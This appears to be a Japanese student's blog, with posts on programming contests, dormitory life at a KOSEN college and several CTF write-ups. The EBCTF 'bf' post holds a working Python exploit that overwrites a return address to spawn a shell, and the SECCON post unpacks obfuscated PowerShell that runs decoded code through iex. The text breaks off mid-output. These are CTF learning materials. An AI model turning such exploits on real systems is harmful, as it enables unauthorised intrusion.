更新日時で差をつけろ

むしろ差をつけられている

Xmas Contest 2017 に参加した

AとGの2完。プログラムを書かない問題ばかり解いた。
SATソルバの問題を見てPrologを勉強したくなった。あとで解説見て実装したい。
肝心の競プロらしい問題はサッパリだった。

A: Compressor

2WA出した。
2つのwavファイルからコンプレッサーにかけた後のものを選ぶ問題。
コンプレッサーについてまずは調べる。
http://taira-komori.jpn.org/06compressor.html このページ曰く、

コンプレス(compress)は圧縮する・押し付ける・縮める、という意味です。このエフェクトは波形上の大きな音の部分を下げ、反対 に小さな音の部分を上げて、全体を出来るだけ同じ大きさの音にします。

つまり2つを比べて音圧が狭い範囲に収まっているほうが答え。
Sonic Visualizerを用いてサンプルファイルの波形を見てみる。青い方がコンプレッサーをかけた後、緑が前。たしかにかける前はギザギザしている。
Gyazo

問題のファイルではもう少しわかりづらくなっているが、最大・最小値(赤丸を付けた部分)が0に近くなっているほうがコンプレス後。この画像(11個目のwav)では青い方。
Gyazo

AABAAAABABABBABが答え。

G: Maze

A~Zのめんどくさそうな迷路が与えられ、ゴールにたどり着けるものを選ぶ。
手で解くのはつらいので迷路ソルバを探していたところ、GIMPなどの画像編集ソフトで迷路を解く記事を見つけた。
http://www.instructables.com/id/Solving-maze-using-Photoshop-Gimp-Paint-or-any-oth/
これの手順を踏むと以下のようになる。線が迷路の周りをぐるっと1周してしまっているのは解けない迷路、逆に中を通っているのが解ける迷路。

Gyazo

ACEFGHNPQSYZが答え。

12/24

クリスマスイブ。肉を食べました。

昨日から取り組んでいたbfを解けたので記事を書いた。そろそろヒープの勉強をしたくなったのでkatagaitai勉強会のスライドで紹介されていたmalloc動画を見ている。結構な分量なのでまだ見終わっていない。

せっかく帰省したことだし昼は図書館に行って本を借りた。Web系の技術書は陳腐化したものが少なくないが、それほど変化が速くないバイナリなどについての本が多く揃っているので便利。たまには志向を変えて新書なんかも借りた。冬休み中に読めるところまで読みたい。
図書館のほうでアンケートがあってので、自由欄に「策謀本を入れてください!」と書いてきた。

Xmas Contest 2017に出た。チームで出てもよかったのだが、それはそれで解ける問題がなくなってしまいそうなので一人で出た。2完。結局コードは1行も使わなかった(は?)。

EDCTF 2013 「bf」 を解いた

問題ファイル http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/

5時間ぐらいかかってしまった・・・oh...
???「でも正解できればOKです!」
これまでは裏紙にスタックの絵を雑に書いていたが、罫線のあるノートに書くと見やすかった。次もそうしよう。
pwnable.twのcalcに似たものを感じる(似てるとは言ってない)。が、電卓ではなく独自言語でいろいろする感じ。
コードに出てくる演算子を整理している時に気づいた。Brainf*ckだ〜〜ファイル名の意味もわかった。

0x0 +
0x1 -
0x2 >
0x3 <
0x4 [
0x5 ]
0x6 ,
0x7 .

Brainf*ckでの値が入るバッファのアドレスをリークしてみたけど、コードは1回しか送れないので意味がなかった…

shellというピッタリな関数があるので、そこにリターンさせればよい。
Brainf*ck用のバッファは$ebp-0xc8から0x80だけmemsetされている。その下にはアドレスやポインタの値が入ったローカル変数が並び、リターンアドレスがある。
>のたびに4バイトポインタがずれるので、0xc8 / 4 + 1だけ繰り返すとリターンアドレスのある場所までポインタを動かせる。
そして、shell関数のある0x8048a6eに中身を変更するので、もともとの値である0x8048a9dの差分だけ-で中の値を操作する。

Exploit

短い〜

import socket, time, os, struct, telnetlib
 
def connect(ip, port):
    return socket.create_connection((ip, port))
 
def p(x):
    return struct.pack("<I", x)
 
def u(x):
    return struct.unpack("<I", x)[0]
 
def interact(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
 
s = connect('localhost', 62000)
 
### exploit ###
retaddr_val = 0x8048a9d
retaddr_val_target = 0x8048a6e # shell function
delta = retaddr_val - retaddr_val_target
 
payload  = '>' * (0xc8 / 4 + 1)
payload += '-' * delta
payload += '\n'
 
# leak buffer's address
# payload  = '>' * (0x20 + 1)
# payload += '.'
 
s.recv(1024)
s.send(payload)
 
interact(s)

CombKansaiに行った #CombKansai

日曜日に梅田で開かれた学生向けIT勉強会のCombKansaiに行ってきました。
自分の一応運営側だったので、参加者の案内などをしました。人が行き交うオフィスビルのフロアでCombKansaiを宣伝してきました。
一部のおばちゃんやサラリーマンの目が釘付けになっていたのできっと次回は人が増えますね。

詳細に関してはここを見てもらえればと思います。
CombKansaiの運営をやった話 - 好きとは言ったが得意とは言ってない。

個人的には大満足でした。いろんな人に会えてよかったです。
LTの分量が小さかったのと、いろいろ準備不足だった点は次回で改善します。都そばは回避しましょう。
あとはアレですね、LTするときの大阪弁。CombKansaiではいいんですが、CombNafの方に行くことがあれば気を付けないと。一時期埼玉に住んでいたのである程度標準語での会話も可能とはいえ。
また、事前のアンケートで参加者の興味をある程度知ることができればLTする人はやりやすいかなと思いました。「Ruby, ROP, 動的計画法, FFT, Juniper, Blockchain, TouchDesigner ... この中で知っている単語にチェックしてください」といった感じで。

私が一番惹かれたのは一番最後のLTでした。トラコン。ICTSCすごそう。
Ciscoルータが数千円で買えちゃうというのが大きな知見でした。年明けにルータ初心者向けの勉強会があるそうなので参加したいです。知識に見合う実践を補充する良い機会。

3DSCTFに参加した

CombKansaiを挟んでHarekazeから3DSCTFに参加しました。
ForensicとMiscを1問ずつ解きました。GIFと仲良くなった。
ページが凝っていたけど、点数配分が全部500(からのsolved数による減点)であんまり良くないと思った。

Microscope (Misc 487)

フレームを100000以上もつ単色のアニメーションGIFが渡される。微妙に色がことなる黄色と緑が交互に来ているようだ。
黄色や緑が連続する回数がモールス信号みたいになっているのかと思い、色が連続する回数を調べたがバラバラだった。
Microscope(顕微鏡)という名前なので、「ある画像を顕微鏡で見ていった部分部分をフレームにしているのでは?」と考えた。それなら1フレームずつ切り出して結合すればいいのだが、フレームを何枚横につなげるのかがわからない。横幅を1〜100000まで試すと時間がかかるので、黄色と緑を., Xに2値化して文字列にすることにした。こうすれば文字列を表示してエディタのウィンドウをリサイズすれば好きな位置で自動改行が試せる。実にアナログ。

GIFの仕様を見ながらこつこつ組んだ。

hex = File.binread('gif.gif').unpack("H*")[0]
 
splitted = hex.split "21f904" # header for each frame
header = splitted.shift # remove GIF Header
ans = ""
splitted.each do |fr| # for each frame
    lct = fr.index('32003200')
    if fr[lct+8] == '8' # using Local Color Table
        if fr[lct+10..lct+11].to_i(16) &lt; 128 # Red value &lt; 128 -&gt; green
            ans += "."
        else
            ans += "X" # yellow
        end
    else # not using local color table -&gt; yellow?
        ans += "X"
    end
end
 
puts ans

これで出力させて、端末のフォントサイズを小さくしいい感じにリサイズすると...?
Gyazo

読めなかったので、GIMPで修正。
Gyazo

これをスキャンするとFLAGが出てくる。
3DS{s0_y0u_kn0w_yur_g1fs}

What The Hex (Forensic 474)

よくわからないバイナリデータが渡される。バイナリエディタで見てみると、a98FIGという文字列が。ここをGIF89aに書き換えてみる。

こんな画像が見える。[]でくくられていることから分かるとおり、これはFLAGではなかった。
Gyazo

他に何かあるかと思い、Global Color Tableの後のnullで埋まった部分を消してみたりした(画像では余計な部分まで選択してしまっているが)。
Gyazo

するとこうなる。でもFLAGじゃない。ファイルを壊しただけだった。
Gyazo

うーんと思ってじっくり読んでみるとIHDRGNPという文字が。このファイルはJPEGとかPNGとかGIFをいっぱいくっつけてシグネチャの部分を書き換えたものだとわかる。また、テキストとして3DS[dddddd] という文字列が多数入っているのでその中に混じってないか探してみる。

~/c/3/whatthehex $ strings binary.bin | grep '3DS{'
3DS{n0_t3ss3r4ct_7h15_71m3}

FLAGが出た。

せっかくなのでsedの練習も兼ねてa98FIGとなったりGNPみたいにひっくり返っているシグネチャをもとにもどしてforemostに切り出させてみる(手抜き)。

$ sed -e 's/\(..\)/\1\ /g' -e 's/61\ 39\ 38\ 46\ 49\ 47\ /47\ 49\ 46\ 38\ 39\ 61\ /g' -e 's/47\ 4e\ 50\ /50\ 4e\ 47\ /g' -e 's/\ //g' binhex.txt &gt; changed-signature.txt
$ cat changed-signature.txt | tr -d '\n' | xxd -r -p &gt; changed-signature.bin
$ foremost changed-signature.bin 

こんな画像が大量に入ってた。
Gyazo
https://gyazo.com/b73cc54f8d9439605ed57a7ab94a3eac

たのしい潮寮生活

Kosen Advent Calendar 2017 の15日目の記事です。Advent Calendarに参加するのは初めてです。
@sei0oは明石高専電気情報工学科のキラキラ1年生で、2017年の4月から明石高専潮寮 (おりょう)で生活しています。
高専への入学を検討している中学生や、通学している同級生に寮がどんなところが知ってもらえればと思い、1年生の視点で書きます。1年生の視点で書きます。
高専自体についてはあまり書きません。

https://www.akashi.ac.jp/dormitory/ 公式のドキュメントです。

TL; DR

住めば都
以上です。お読みくださりありがとうございました。

立地・構造

  • 校内に設置されているので教室から歩いて3分
  • 1, 2, 3年男子寮のA寮(私はここに住んでいるので、ここを中心に書きます)
  • 4, 5年, 専攻科などのC寮(よくわかってない)
  • 女子寮のB寮
  • 国際交流センター?? 留学生がいるみたいです
  • 窓からドクターイエローが走るのが見えます

部屋


2人部屋です。私の部屋はキレイな方(要出典)ですが、汚い部屋だと異臭がすることも。異臭は重大なissueです。ガハハ!
クローゼットが設置されていますが、鍵はかかりません。財布や貴重品は机の下の引き出しに入れれば鍵をかけることができます。
冷蔵庫は先輩のものを使わせてもらっています。備え付けではありません。当然ですがモニタも私物です。
エアコンはあるので、冬でも夏でも快適です。
本棚にはRJ-45 モジュラージャックがついています。A寮に有線LANはありません(APから引っ張ってきて無理矢理有線にする人もいるけど)。無線LANもありますが、平均して2日に1回は繋がらなくなります。
入寮直後の2週間ぐらいは学内の無線LANが利用できずに困りました。ファイアウォールがあるので、sshがそのまま使えず戸惑った記憶も。

生活

入寮直後は同室の2年生の先輩や指導寮生(3, 4, 5年生から数人がなる)の指示に従いつつルールに慣れることになります。
2018/2/1 追記: これは当時のメモです。

ただでさえいろいろと変化が起こり落ち着かない入学後ですが、寮は寮でイベントがあります。イベントの内容を事細かに書いてしまうのもアレなので、軽くリストする程度にします。

  • 新入生歓迎会
    • 名は体を表さない
  • あいさつ回り
    • 芸が苦手でもなんとかなる
  • 怒られ会
  • あとは同じ階の1,2年で集まったり同じ科で集まって自己紹介したりしました

インパクトの大きいイベントが多いからか、4月は時間がすぎるのが遅く感じました。めちゃめちゃ遅い。
慣れてくる頃の5月6月は一瞬、気づけば中間テストみたいな感じです。

そういえばおとといの12/13もクリスマス会がありました。

家での生活から一番変化した点といえば、やはりあいさつではないでしょうか。
入寮時のオリエンテーションでしっかり指導されます。終わってから泣きそうになっているのもいました。
寮の廊下・トイレ・外で先輩が目に入ればあいさつをします。夜は顔が見えないので人の影があればとりあえずあいさつをします。
階段で移動するときには隣にある補食室・洗面所を確認し、先輩がいればあいさつをします。
寮の外でも、廊下で先輩とすれ違うとき礼をします。
食堂に入る時・出る時も礼(時期によってはあいさつ)をします。

加えて、1年生は最初の2ヶ月程度(運が悪ければ半年らしい)、大声での挨拶をしなければなりません。それが終わってもときどき大声挨拶は復活します。喉をダメにして声が変わってしまった人もいるらしいです。
今年の高専祭で1Eの「高専病棟」という展示でも、リスクを負って終盤に大声挨拶役が配置されました。
私は中学のころに高専祭の時に寮に寄ったのですが、聞こえてくる叫び声に驚いた記憶があります。

食事は朝昼晩と食堂でとることができます。休日前後は欠食をすれば食費は来月に繰り越されます。
今年の1年寮生は多いので、立って席が空くまで待機することもありました(学年・男女別にエリアが割り当てられる。が、部員等でまとまって食事をすることがよくある)。
どうしても味はワンパターンになりますし、量も多いとは言えません。かといってクソ不味いわけでもないです。同級生曰く「化学調味料の味がする」そうですが、私にはさっぱりわかりません。

風呂は棟の外にあります。ここでも入る時・出る時はあいさつ/礼をします。17:30~21:00まで入れるとはいえ、20:00あたりはよく定員オーバーになるので外で喋りながら数十分待機することもありました(今は1年の定員が拡張されたので緩和されたっぽい)。
1つの階に洗濯機・乾燥機は合わせて6台ぐらいあります。

1,2年生の消灯は24:00です。しかし、理由が正当と認められれば延長できます。たとえば、

  • 大量の課題
  • inochi学生フォーラムなどの学外でのプロジェクト
  • ロボコンの作業
  • codeforces, CSAcademy SRMとかCTFもきっと大丈夫

鍵を閉めてブラインドを閉じ、照明を最小限にしてバレないようにしつつ徹夜する猛者もいます。

また、1年男子は寮生当番/ゴミ当番という役目が与えられ、101号室から1週間交代で回ってきます。消灯を破ったり、あいさつをサボったりして罰として数週間寮生当番をさせられる、という同級生は何人かいます。
月に1度集団回収があり、夜に1年男子は全員でビン・カンを分別したりダンボールをひもでくくったりします。ビール缶と魔剤缶の多いこと多いこと。くさい...

平日の朝と夜、休日の夜には点呼があります。私は点呼にちゃんと出るのが苦手です。

  • 周辺施設
    • 安いスーパー「ラ・ムー」
      • 魔剤といえばモンエナの他にここで売っているオリジナルブランドのエナジードリンク、ゴールデンハンマーを指します
    • 魚住駅(歩いて10分強)
      • 最寄りの郵便局/ATMもここ
    • セガ明石(自転車で20分)
    • 大久保イオン(自転車で20分)

また、女子寮は22:00をすぎると出入り口にロックがかかり出られません。普段の出入りにも取り付けられた静脈認証を利用しているとのことです(同級生談)。1年生でも消灯はなく、談話室も自由に利用できます。ちょっとうらやましい(隣の芝は青いので)。

人間関係

同級生・先輩・後輩(いませんが)と近い距離で過ごすので、自然と親密になります。苦手な人が近くにいればもっと苦手になります。
自室が使えなかったり自室にいたくないときは、同級生や先輩の部屋で雑談したり精進したり徹夜でバイナリ読んだり女装したり寝たりします。たのしい! 他人の部屋で寝るのは思わぬトラブルを招きかねない
慣れというのは強いもので、上に示したあいさつなどは今ではさほど苦痛に感じません。3週間もすれば慣れます。

私のクラスでも寮生は寮生で固まる傾向にあります。

おわり

文章を見返したらTL; DRだけで良い気がしてきました。
他の高専寮はどうなのか気になります。
キャパシティがあるところは全寮制を敷くこともあるそうですが...

次は@aile_wing_さんの「迫真!高専推薦入試の裏技with学力入試」です。よろしくお願いします!

2018/12/06 追記: 続編(?)が出ました! 読んでね

SECCON 2017 Online CTF に参加した

テスト期間中ですがチームBiPhoneからSECCON 2017 Online CTFに参加しました。
チームでは900点、個人では600点でした(Thanks入れて)。
pwn1問も解けなかったのが残念です。Vigenere3d, Baby Stack, Election, z80, printf_machineはどういう解法なのかあとで見てみます。
以下解いた3問のwrite-up。

Powerful_Shell

powerful_shell.ps1というPowerShellスクリプトが渡される。
LinuxにはPowerShellが入っていないので、インストールする。
https://github.com/PowerShell/PowerShell/releases/
ここからAppImageを落とすだけなので簡単。debを落としてもうまく動かなかった...
実行すると「SECCON」のロゴと鍵盤が出てくる。そしてNo Admin rights!などと言って落ちる。

中身はこんな感じ。

$ECCON+=[char](137-127);  
$ECCON+=[char](-905+918);  
$ECCON+=[char](873-863);                                                                                                                          
$ECCON+=[char](721-708);  
$ECCON+=[char](803-793);  
$ECCON+=[char](10426/802);  
Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99;  
$ECCON+=[char](520-510);  
Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))  

文字を突っ込んでevalっぽいことをしているので、処理内容をファイルに書き出してみる。output.txtに内容が吐き出される。

Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99;  
$ECCON+=[char](520-510);  
$ECCON | Out-File 'output.txt' -Append  
# Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))  

結果は下の通り。読んでみると、
- 権限のチェック <# Host Check #>
- 鍵盤を正しく打てたかチェック、正しければCorrect. Move to the next stage
- base64文字列$textをxorなどでごにょごにょしてスクリプトとして実行する(iexはElixirではないみたい)
という処理をしている。

とりあえず最後で何が実行されているのか見たい。
権限のチェック部分はまるまる削除しても大丈夫そうだが、打った鍵盤のデータ($f)は後で使っているのでこの$fを導きだす。

(略)  
   
<# Host Check #>
Write-Host -b 00 -f 15 Checking Host... Please wait... -n  
Try{  
    If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) {  
        Write-Host "This host is too fresh!"  
        Exit  
    }  
}Catch{  
    Write-Host "Failed: No admin rights!"  
    Exit  
}  
Write-Host "Check passed"  
   
$keytone=@{'a'=261.63}  
$pk='a'  
ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){  
    $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k    
}  
Write-Host -b 00 -f 15 "Play the secret melody."  
(略)  
Write-Host  
$stage1=@();$f="";  
While($stage1.length -lt 14){  
    $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown")  
    $k=[String]$key.Character  
    $f+=$k;  
    If($keytone.Contains($k)){  
        $stage1+=[math]::floor($keytone[$k])  
        [console]::beep($keytone[$k],500)  
    }  
}  
$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)  
If($secret.length -eq $stage1.length){  
    For ($i=1; $i -le $secret.length; $i++) {  
        If($secret[$i] -ne $stage1[$i]){  
            Exit  
        }  
    }  
    x "Correct. Move to the next stage."  
}  
$text=@"  
YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtT  
TBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNM  
EVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwR  
FBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEV  
QUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMV  
Q0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVO  
EzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFK  
F08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEX  
TxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdP  
EUEXQ0ITShdME0EVThBXFU4TWxVDThNKF0wRMBdMETUbQ0wRShVOE0MWThMqFU1ME0gVTBFDF08R  
QxdMHUMVQUwTSBVOEEEVThNNFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNGF0wTKhVBTxFK  
F0wdMxVOEzUXQ04QSBVOE0AVTBFVFUFMEUkXTBFDG0wTQRVMETMXQE4TSBVCE0MXTBNBFU4QQRVB  
TB1KFU4TQxdMEVYXTBEUG0NMEUoVThNBFk4TQRVCEygXQ0wRShdPEUMXTB1DFU4TQBdDThBIFU4T  
SBVMESgVQUwRSRdMEUYbTBMWFUNOE0gWThNCFUITFBdDTBFKF08RQxdMHUMVThNVF0NOEEgVThNN  
FUwRQxVOE0IWQUwRShtME0EVTBFVF08RQxdDQhNKF0wTQRVOEEEVThM9FUNOE0oXTBFFF0wRKBtD  
TBFKFU4TQRZOE0EVQhNAF0NMEUoXTxFDF0wdVRVOEzMXQ04QSBVOE00VTBFVFU4TQRZBTBFKG0wT  
RBVMESgXQE4TSBVCE0MXTBNBFU4QKhVBTB1KFU4TFBdMEUIXQ04TRBVMEUMVThNBFk4TNxVNTBNI  
FUwRQxdPEUMXTB01FUFME0gVThBBFU4TTRVMERQVQUwRSRdMEUMbTBNBFUwRQxdAThNIFUITQxdM  
E0EVThAxFUFMHUoVThNDF0wRVhdMEVUbQ0wRShVOE0QWThMWFU1ME0gVTBFDF08RRhdDQhNKF0wT  
QRVOEFcVQUwdShVOE0EXTBFFF0NOE0QVTBFDFU4TVxZOEyoVTUwTSBVMETMXTxFVF0NCE0oXTBNE  
FU4QQhVBTB1KFU4TQBdMERcXQ04TRBVMEUAVThNDFkFMEUobTBNCFUwRQRdAThNIFUITQRdMExYV  
QU8RShdMHUEVThNOF0NOEEgVThNIFUwRKBVBTBFJF0wRMxtMEzcVQ04TSBZOE0EVQhNVF0wTQRVB  
TxFKF0wdQxVOE0MXTBFFF0NOE0QVTBFGFU4TKhZBTBFKG0wTRBVMERQXQE4TSBVCE04XTBNXFUFP  
EUoXTB0zFU4TThdDThBIFU4TTRVMEUMVThMWFkFMEUobTBNCFUwRFBdAThNIFUITQxdME0EVThAx  
FUFMHUoVThNGF0wRQxdDThNEFUwRQRVOEyoWQUwRShtMEzcVTBFDF0BOE0gVQhMzF0wTFhVBTxFK  
F0wdMxVOExQXQ04QSBVOE0gVTBEUFUFMEUkXTBEzG0wTQRVDThNIFk4TQRVCEygXTBNEFUFPEUoX  
TB1DFU4TRhdDThBIFU4TTRVMEVUVQUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdM  
HTMVQUwTSBVOEEEVThNbFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwd  
ShVOEzMXTBE2F0NOE0QVTBFBFU4TKhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsV  
Q04TShdMEUAXTBFDG0wTQhVDThNIFk4TRBVCEygXQ0wRShdPEUYXTB0UFUFME0gVThBDFU4TTRVD  
ThNKF0wRQBdMEUMbTBNBFUNOE0gWThNBFUITQxdME0EVQU8RShdMHUMVThNVF0wRVhdDThNEFUwR  
RhVOEyoWQUwRShtME0MVTBEzF0BOE0gVQhNDF0wTQRVOEEEVQUwdShVOExQXTBFNF0NOE0QVTBFG  
FU4TRBZBTBFKG0wTRBVMERQXQE4TSBVCEzUXTBMWFUFPEUoXTB1DFU4TRhdDThBIFU4TTRVMEVUV  
QUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdMHTMVQUwTSBVOEEEVThNbFUwRNRVB  
TBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwdShVOEzMXTBE2F0NOE0QVTBFBFU4T  
KhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsVQ04TShdMEUAXTBFDG0wTQhVDThNI  
Fk4TRBVCEygXQ0wRShdPEUYXTB0zFUFME0gVThBMFU4TSBVDThNKF0wRQxdMERQbQ0wRShVOE0IW  
ThNDFU1ME0gVTBFAF08RQRdDQhNKF0wTQxVOEBYVQUwdShVOE0EXTBFNF0NOE0QVTBFDFU4TKhZO  
E0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFM  
EUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwR  
ShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E=  
"@  
   
$plain=@()  
$byteString = [System.Convert]::FromBase64String($text)  
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {  
    for ($j = 0; $j -lt $f.length; $j++) {  
        $plain+=$byteString[$i] -bxor $f[$j]  
        $i++  
        if ($i -ge $byteString.Length) {  
            $j = $f.length  
        }  
    }  
})  
iex([System.Text.Encoding]::ASCII.GetString($plain))  

鍵盤のチェック部分では、打った文字が$fに、それに対応する音階$keytone$stage1に追加される。そして$stage1$secretと等しければチェックに通る。さくっとRubyを書いてキーに対応する音階を出してみたけど、今思えばPowerShellコードを切り取ってきて動かせばよかった。

require 'pp'  
keytone = {"a" =&gt; 261.63}  
   
cur = "a"  
"wsedftgyhujk".chars.each do |ch|  
  keytone[ch] = keytone[cur] * 1.0594630943593  
  cur = ch  
end  
   
pp keytone  
$ ruby beep.rb  
{"a"=&gt;261.63,  
 "w"=&gt;277.18732937722365,  
 "s"=&gt;293.66974569918386,  
 "e"=&gt;311.13225749816604,  
 "d"=&gt;329.6331442840015,  
 "f"=&gt;349.23415104651383,  
 "t"=&gt;370.0006943236827,  
 "g"=&gt;392.00208052325837,  
 "y"=&gt;415.3117372264548,  
 "h"=&gt;440.0074582456763,  
 "u"=&gt;466.17166325413467,  
 "j"=&gt;493.89167285384707,  
 "k"=&gt;523.2600000000278}  

あとは$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)に当てはめると$fhhjhhjhjkjhjhfとわかる。そしてコードの$fを書き換え、$textの変換結果をファイルに書き込めばよい。ここでもなぜかRubyで書き直したりして時間つぶれた。もっと素材の味を活かさないと。
最後の行のiexを外すだけで出力してくれる。

[System.Text.Encoding]::ASCII.GetString($plain)  

出力結果はこれ。

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};  
${]}=++${;};${(}=++${;};${)}=++${;};${&amp;}=++${;};${|}=++${;};  
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";  
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);  
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&amp;}+${"}${(}${+}+${"}${&amp;}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&amp;}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&amp;}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&amp;}${=}+${"}${[}${&amp;}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&amp;}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&amp;}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&amp;}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&amp;}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&amp;}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&amp;}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&amp;${;}  

SCKOSEN を思い出す難読コード。これを実行するとEnter the password:と聞かれる。

一つびっくりしたのが、${}で囲うことで記号を変数名にできること。最初は手動で解いていたが、途中で${;}"iex"なのであれば、最後の|&amp;${;}(HHKB初心者殺しの記号)を取り除けばコードが実行されないのではと思い取り除いて実行してみた。

[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+